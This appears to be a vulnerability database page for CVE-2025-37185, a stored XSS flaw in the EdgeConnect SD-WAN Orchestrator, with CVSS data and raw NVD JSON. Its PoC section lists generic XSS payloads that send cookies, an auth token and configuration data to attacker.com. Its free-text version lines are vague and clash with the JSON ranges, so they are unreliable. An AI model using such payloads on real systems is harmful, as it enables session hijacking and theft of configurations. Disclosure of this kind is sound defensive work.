Security Vulnerability Report
中文
CVE-2025-37185 CVSS 5.5 MEDIUM

CVE-2025-37185

Published: 2026-01-14 17:16:06
Last Modified: 2026-01-20 18:14:09

Description

Vulnerabilities in the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attacks against an administrative user of the interface. A successful exploit allows an attacker to execute arbitrary script code in a victim's browser in the context of the affected interface and thereby make unauthorized arbitrary configuration changes to the host.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:9.6.0:*:*:*:*:*:*:* - VULNERABLE
EdgeConnect SD-WAN Orchestrator versions < 9.x (specific versions pending vendor advisory)
EdgeConnect SD-WAN Orchestrator versions < 10.x (if applicable)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-37185 Stored XSS PoC for EdgeConnect SD-WAN Orchestrator --> <!-- Note: This PoC demonstrates the XSS payload structure. Actual exploitation requires valid high-privilege credentials. --> <!-- XSS Payload for stealing session cookies --> <script> // Extract session cookies and send to attacker-controlled server var stolenCookies = document.cookie; fetch('https://attacker.com/collect?c=' + encodeURIComponent(stolenCookies), { method: 'GET', mode: 'no-cors' }); </script> <!-- Alternative payload using img tag onerror --> <img src=x onerror="this.src='https://attacker.com/log?c='+document.cookie"> <!-- Session hijacking payload --> <svg/onload=fetch('https://attacker.com/exfil?token='+localStorage.getItem('authToken'))> <!-- Configuration exfiltration payload --> <script> // Attempt to read and exfiltrate SD-WAN configuration fetch('/api/v1/configurations').then(r=>r.json()).then(data=>{ fetch('https://attacker.com/config?data='+btoa(JSON.stringify(data))); }); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-37185", "sourceIdentifier": "[email protected]", "published": "2026-01-14T17:16:06.437", "lastModified": "2026-01-20T18:14:09.340", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerabilities in the web-based management interface of EdgeConnect SD-WAN Orchestrator could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attacks against an administrative user of the interface. A successful exploit allows an attacker to execute arbitrary script code in a victim's browser in the context of the affected interface and thereby make unauthorized arbitrary configuration changes to the host."}, {"lang": "es", "value": "Vulnerabilidades en la interfaz de gestión basada en web de EdgeConnect SD-WAN Orchestrator podrían permitir a un atacante remoto autenticado realizar ataques de cross-site scripting (XSS) almacenados contra un usuario administrativo de la interfaz. Un exploit exitoso permite a un atacante ejecutar código de script arbitrario en el navegador de una víctima en el contexto de la interfaz afectada y, por lo tanto, realizar cambios de configuración arbitrarios no autorizados en el host."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.2.0", "versionEndIncluding": "9.2.10", "matchCriteriaId": "4972AD17-B8C3-4E30-B757-0B5BB830B28C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.3.0", "versionEndIncluding": "9.3.6", "matchCriteriaId": "48DA7E3C-5E4C-4A91-872E-F278046A3146"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.4.0", "versionEndIncluding": "9.4.4", "matchCriteriaId": "F65E7518-5652-4651-B8B8-25C763044E7B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.5.0", "versionEndExcluding": "9.5.6", "matchCriteriaId": "6C96154A-927C-4F4C-B00E-9E10340859A0"}, {"vulnerable": true, "criteria": "cpe:2.3:a:arubanetworks:edgeconnect_sd-wan_orchestrator:9.6.0:*:*:*:*:*:*:*", "matchCriteriaId": "B5EBF5C1-4470-40F0-9812-1729E7E42DA0"}]}]}], "references": [{"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04992en_us&docLocale=en_US", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}